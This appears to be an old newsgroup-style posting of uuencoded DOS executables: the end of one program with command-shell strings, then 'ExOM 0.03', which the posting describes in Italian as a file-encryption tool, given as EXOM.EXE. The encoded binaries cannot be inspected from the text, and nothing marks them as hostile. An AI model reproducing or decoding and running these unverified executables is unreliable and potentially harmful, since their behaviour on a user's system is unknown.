M`````````````````````````2(``````/R](`&+;@"+I@(`BYX$`+1*S2&A
M+`")AAH`BYX``/_C``````4``````+@`3,TA```.``````"*%$8*TG0&M`+-
M(>OSPP``,@``````Z!0`14-(3R!I<R`D;VX*#21O9F8*#21:4+0)S2&!P@D`
M6`K`=`>!P@4`@\(%M`G-(<,``"P``````.@?`%-T<FEK92!A;GD@:V5Y('=H
M96X@<F5A9'DN+BX-"B1:M`G-(;0'S2'#```%``````#^AA\`PP``&0``````
MK#P)=`P\('(.=`8*TG7QZP0*TG3K^,/YPP``(@````(`=!!3Z```6S+2_U?Z
M<A'^SGX)_L+_5_IR!.OL3OA;P_GK^P``80````0`*!&0$5/H``!;5U:T_ZP*
MP'0)/"5T$ZK^S'7R,L"J7E^S_RK<B%W_6\.L23PE=.<\?W425HNV#@"L/`!T
M!:K^S'7V7NL/BO"`[C!R#H#^"7<)_U?X"N1UM>O!3D'_5_KK\P``8`````(`
ME1!3Z`8`1$]3,E@`6U%6'KZ``#/)B@Q&/@*V'P`*]G4K4+0PS2$\`EAW!(TW
MZR(&5XX&+``RP#/_N0"`\JZN=?NOB_=?!XX>+`#K!?]7^G(*K#P@=@6J_LQU
M]A]>65O#```N`````@#&$5/H``!;'KG_`%>+_HO1L"7RKBO12HO/7U'_5_IR
M"JP*P'0%JO[,=?9>'UO#``!&``````!345<&CH8:`#/_B]Z+\XO*\Z9T%#+`
MN?__\JXF@#T`=>N+]P8?^>L9B_<&'ZP\/77[@#P`=.NL"L!R!#P@<O=.^`=?
M65O#``!C`0``"@#,$^,/?Q,5%%T54^@R``!0051(/4-/345814)!5`````!"
M860@8V]M;6%N9"!O<B!F:6QE(&YA;64-"@`O0R``6XEW#XE_$8N6"@"#P@3&
M1S$`Q@<`B_HSR0H/=7-25C/2@'P!.G4-BA2`XM^`ZD"E@T</`H`\7'0<L%RJ
M5HOWM$?-(5XRP+E``/*N3X!]_UQT`[!<JC/`K#TN+G4._;!<N1(`\J[RKOQ'
MZ^RJBN`\7'4#_D<Q/`!UWD^+U_VY!0"P+O*N_'4#1XO7B_I>6NLE@'\Q`'4(
MBW</_U?V<PB-=Q/_5_3K>[E)`*P\('8'/"YT`ZKB]+`NJHUW!KD#`*6D,L"J
M4E91B_+_5_I97EIS"H/O!.+I_@?I._^#^0%U,XUW+H/J`XOZI:0RP+G\`/*N
MQD7_((MW$3A,_W<#BDS_\Z3&!0V+\HO'*\*(1/__5_+K#XM_$4_^#5>+\O]7
M^%_^!5O#``!%`````@#&$5/H!`!0051(6U)6'KH$`(OS_U?Z2>,+K`K`="0\
M.W7WZ_*L/#MT!PK`=`.JZ_0.'R:`??]<=`.P7*KX'UY:6\/YZ_@``"$````$
M`!44]1-3Z```6XO^3QZ*AAX`4/]7^B[_5_A8B(8>`!];PP``&`````(`QA%3
MZ`<`0T]-4U!%0UNZ!P"+\_]7^EO#``!X``````!3Z"```$1534U9("`@1D-"
M``````!$54U-62`@($9#0@````!;'@:)I@(`5U:+]T:-/[@#*<TAC7\0N`,I
MS2%>7PZ-5Q!2#HT74@Y7+J$L`%"+W+@`2XO6S2&](`$NBVX`C,OZCM.+I@(`
M^_P''[1-S2&(AAX`6\,``&4````$`.,/$Q7H&P`@("`@("`@("!,86)E;"!N
M;W0@9F]U;F0-"@!;5XO[,]*Y"`"L/"!V#CQA<@8DWSQ:=P2J0N+MB\J+\XN^
M&``#_5/_5_M:7G(/BT<""_9T`XD"PUC_=P+#B]K_5_G#```)```````SP`L$
M=`);4,,``"@``````%:+UHO!B]^+^X/'!(ORB\@X#74%1_.F=`R#/_]T!`,?
MZ^7YZP'X7L,``!(``````#/)BDS_.DW_=0;SIG4"^,/YPP``%0``````B]>T
M<AB]8SR;1.S2%R!(/''OC#```A```````SP(O8BAR`ZS!R$8#["7<,N@H`
M]^)R!0/#1NOH.(8>`,,``*\````"`)404^@N````````````````````````
M``````````````````````````````````````!;5HMW`0OV=`6*!XA$_UZ-
M5P.T<A@'T!`'0+M$_-(7(%C5<>ZS[&10$`_@6*-?]7^G([B]8RY*P\('8.
M/#]U`O[$/"IU\?[$Z^TRP(9$_X@'"N1T#\9%`0$SR;1.S2%RQ8U7'HF6#@")
M=P'X6\/'!0``QT<!``#YZ_(``)L``````%/H"0!#3TU-04Y$``!;!J$L`#F&
M&@!U+U.T,,TAAL2)1P>T4LTA)HM'_KD4`%N.P":`/@``375@0"8[!@$`=`DF
M`P8#`.+GZT^!?P<`"G,5@7\'``1R#AZ--[\(`+D'`/.F'W7;B]".P":+'BP`
MB\-+CL,F@#X``$UT&8O"2([`)@,&`P!`CL`F.18!`'0$XN_K!4")AAH`!UO#
M```[`0``!@!:%N,/QA%3Z"````!/=70@;V8@96YV:7)O;FUE;G0@<W!A8V4-
M"@`-"@!;B\>&Q(@G4/]7]EA5!KG_`#/25HO^K`KD=!P\('48L#U7JJP\('3[
M/#UT]ZH*P'0#K.OX7^L="L!T&3P]=!4\87(&/'IW`B3?/"!V`O[&JO["XL)>
MB%<!BL8R]@K`=28>+HX>+``S]HU_'8S)+O]7^!Y6CMF+]R[_5_A>'X`\`'7K
M'^F'`(O&1RZ`/2!S`C/`4/]7^EH>!XO^<B$RP/VY``'RKD='5_RY``'RKHOW
M7S+DK*H*X'0$BN#K]D\.'XOR"_9T2`:,P$B.P":++@,`L033Y4U-!S/`BD<!
M_L`#QSO%<QZ*)SO]<QBL@/P"=0H\87(&/'IW`B3?J@K`=>>JZPLRP*H.!XUW
M`O]7^`==6\,``$$``````,>&$`#__XO6,\FX`CP+_W0"_L3-(7(IB]@+_W0+
MN`)",]*+RLTA<AB)GA(`4[1%NP$`S2&)AA``N0$`6[1&S2'#```;``````"#
MOA``_W03M$:+GA``N0$`S2&T/HN>$@#-(<,``"8``````,>&%`#__XO6N``]
MS2%R%HF&%@!0M$4SV\TAB884`#/)6[1&S2'#```:``````"#OA0`_W02M$8S
MR8N>%`#-(;0^BYX6`,TAPP``!P``````B]:T0<TAPY`.10*+-D,"CAY'`BO.
M`\%S!KHD`^F8`/.D#A\%``)R\27^_R:)A@(`!0(`)HF&!@`%`0%RW":)A@@`
M!0$!<M(FB88*``4!`7+()HF&#``%_P!ROHD^4P(%#P!R%;$$T^@FB88$`";&
1AA\``";&AAX``+0\,\FZC`(`
end
ExOM 0.03
Questo programma serve per encryptare i file
begin 644 EXOM.EXE
M35IQ`1(````"`/`A`2(>%``H````````'````#P````>!@X?#@>^$P"_`'^+
MS_Q7\Z3#,_^^O'^R@+U??U"L]M"JNQ``_]5S]?_507,/_]5R2?_5$MMS^G4O
MD^LPMP'_U1+_<E'_U7+V_]43R?_5<OB`[P-R$8H<1H#_!7,&@/\!<P)!05BH
M6U/WVXH!JN+[Z[`"TG4$K)(2TL.[``3_U1+;=`;_U7,"T.__U1/;<_K_U1K-
MZ\U;,_:Y%@&L/.AU^RDTK>+VN>,!C;47_HS+,_\SP*P\`7<,=0E'1X`]FG7Z
MKZBM`_@!'>+G!Q_I.XO\,$S?Y,;2ROT`NH?RFIR*BYXSG9/O,=?-ZQS]L++'
M44S[M)V&YWQ%];*S`5BJ=AI@1P;\94K]V5-^$XF-3_BOC9V&:_Z,'$6!$$#I
M`C7AJ!P*^O:U<PI[J=F!7:OX?]'"3?5/1J]?OX\AX13PVI>C-"CO'!C/&_H^
MH.&%#')!#0`>*I0'_`?^SC\Q/(+XEJI7Q2Z_+2R7NK+QUE,F,#F.0X5`^RT@
ME.OY\,?UPBN5/_?R'_`T5_2B/N8]J8B/(?9P3]_10@ORD:T!$1'^#R'C6K/S
M#(N((!74U[Y%XDZB];<8A@\AY-^>(E,"(9+]Y-II3R%Y^W@7+4,%I2+?\47"
M+Q/]')%YDM=/VWTA>);[D5(D3L#0SY-X+*#VK8LV)B\?P%%V$Z(\L9"2_::0
M.X'[^:9@9$?PHLKVOCN3B(R8^G*2,46R/T.4<3:]F97^)&X]-'JHWG)@_89(
M?`]&0*GX)O;?8$'^Q.A;.9#QMQ4"_HOW0,K[0$@7/*L\M/=/&:@Y1R'T(K'T
M#-J:4ND#"J7$/8QX%H'^^WX:S1M:X6")XD\4VA?QW,K^D`85CW]MP(MF^C#Y
MZCK\NO"[-50XZ&Q/AE:GB"_]?$",>(9").WGB*UMD/XA-M1#KB&F_$,MJ*R&
M1Z32?:?&Z08S7:SYS=6-#*V31Y\7D&]QP5']C.E(>5_HLP#G3OPL'_IS#*3*
M8(WG3T-UB/J0^,44X&P8=&LOZ_8QVOP](I3G=&$<!HKPU<M*+.U/.[JA?Y0+
MLQ4![M29,Y4_QU@N'P5O^J@@7^O!2IM6X9'LXCN6%:4I5AO-X5%WXK@83P^I
M0MK/:7G3NPHI#\J#&U#W5;PI.O,4*;FVI&4=7TP!YCXB1V`!4M0A0Q:5^&`&
MD<W`BKZ0!KW:X9"ZRJ)2*L;[JE'HPF:ML9#B**7&1Z#?PYF6`9.:P?[`_=#!
MT=(`E_:JC)Z8FD[%"O?T1AV1]Y)#3_8H#?QP@3R&TI8=#M`2[]].&P&0D=ON
MR->FC-"R.-B[6];,GHML\+D&EY:,H8F:C9<_0ANDX*(.B)Y"G-B;8IKBKY=`
MV8^@O8LW5B>85QN0Q=CI<`&LL&&Q3[I'F*V^F^UKJV^6^#_+?@_"?LK>^[XQ
MW-^K2697913I.]BS=/I&QYS"^&T(6MQVWJD?GI.2E0BAB[2["J/%="0`LKZQ
MBY:\SZU4N@[!]:&>D8>QR[F*F)R-/8:/!R["Q=:=@E^MFKN-0U#E8]"JN'Y%
MQ#H/)+R&G0<5K9Z'E1"`7[V*F(V:,H^0(HO>_C'1^QBZIY_NH3F1V!F0CR$R
MED2>:]Y1O@?\-L\>PZ6XO/+U#KR0DH_>C,._=T\XUXA:ET&'KXB<E)*(Z:Z]
M8U=-A+V;-^[\19BJ0'C>\?9W`=2VI)M)A`(#]+RJ8P41WNWR"ARY-V)D<HU.
MTOO7R\CX[D.QD*:-N["L?R[>P$C0WZA;\M33TPJ3J/JOIF/?72-MWVN"W_X9
[email protected]]\Z.*C]P_@K`4L[OFCWV<6,V.I!RJ%53IIJA^C8Z1INP91Q%14LTI
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
MB&QVK`9#"=FU!LU2_#WX#3#IG`=/\1$4*[email protected]`MCCXS*($LQ`B+GNJ@
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
M;#2@/$!_GT`[\LTD$K@-<!SV6T+"WXC\=0Y`[[email protected]`-Z\M8HA/)":
M2/-X)EZ)9&MH_1NV+A9'6NTV(I:YC9M5074?21NJ$506FGDTB@W]GMJY5;@X
M@K0!&/VLEMR['+V'XJ>^DP<PEV^,^?)/`IGP7P9>;_!^YN&M-KC<![5F0+B<
M>2<9,M^`NJ<`L+(%0N_^`!H8OH66@]^]\118%=0V`*[A!'$F=>F39/MPR9#%
M*8L'B`O@`:1V%@$XUB:!KX2JIVVKM<-ZJ8;Q>/BNIW_/3:PY!CPTQR8_TZBA
MU`8_KZ"HI)#YI:(T#+*,NY!X*AACT0GX%-Y!I($YZ1JK5.!!)_R[]W:L<S<P
M^N]G-CIT9J`7_FV@,192P-\,N):)FK?H+Y6WT)S2C7#>/;N-Q<'4CZ06VYW\
M.O3Q1)".`'3@QCR,]TWX?DMEWOG3=A<`Q_RC`^=TL_D<[BFH_:SK<6P]`L#9
M_OI\/'0&UJE!8J#Q^$`2P$9?[*1RH>MA6'?IK^YR[#@%X<G!^C$%Y-R![\).
MH_L>]Y8&HQ<0^&T9FQQ;-.?861W,"43E`+9`?Z>D`/C@IJ4%<2QV"3L$K:X`
M_#1A^NP`A71""Z$W51UK<35^=@$!GS1+'VV@1`O09300UP#Z)-4WL)1&`-*$
M9E\SI(D*P&1K!L;[`$X;8,=3%K9C`$<W"KZ/[2_,`*YW#J+!B]QF!O#$4PSD
M<+(H+I@,V%J\WD`=:%&/J`#9=X8YH2PJ``)9YLB`%A7`^D5,*6?CW##&3&IR
MA]#E2P!-\U(;LD9E+]X*%)1#ZFVDP&$T`,F,]$M1`]IK`3!9^1L`9`48ZH#!
M06@`UFY$.PJ+>/,`(OX^732?Z](-"P-+&XV\`(=TI-N!!UXDD;FB00#OM%%F
MDR%3,@::Y`#/X`-=4BAI^R``+U#)026V9'S<2@VHC?`L,P`/V7/(]1(`&5`;
MWISWB7D:8[9%U"-I*D#P+#W"3S1>-`"`!X;2"C>H&P`P#7B^KC,R=("J$3:'
MH@#]/B?C:&N::&UJ&OEF<_@><#>W3`!HKEV(32*#I@`0?+`1+F!ZO=+O`$QU
M!RJO]GG..HGT8&P%#P#@+L%`(_>!50"`#7G2&$W+8`!!$GT,R>H>2`#C*M7\
MC']6]@`V;-AQ;IZ[#0'LN%QD/#Z6@[8`<`$2VX#=/P`5KFV(-P/,H`#[)KE4
M7A]SR0"P)3YO&_:X(ABHH'4`9?C26$9#`WU2UF0#$R,P\6,6]Z,$ADJSCSU+
MXG#!2",#LRCTO53H`#<"QP!I]Q>\'PJ'2>@@0(!6S-*PYQC^8(*`P;BMZOE]
M#<CBCO/FSES"/ARA+@?1@-1"'ZZPB!X&N:WD]7W0W(D`?@.`8[%%;-L1<Y3D
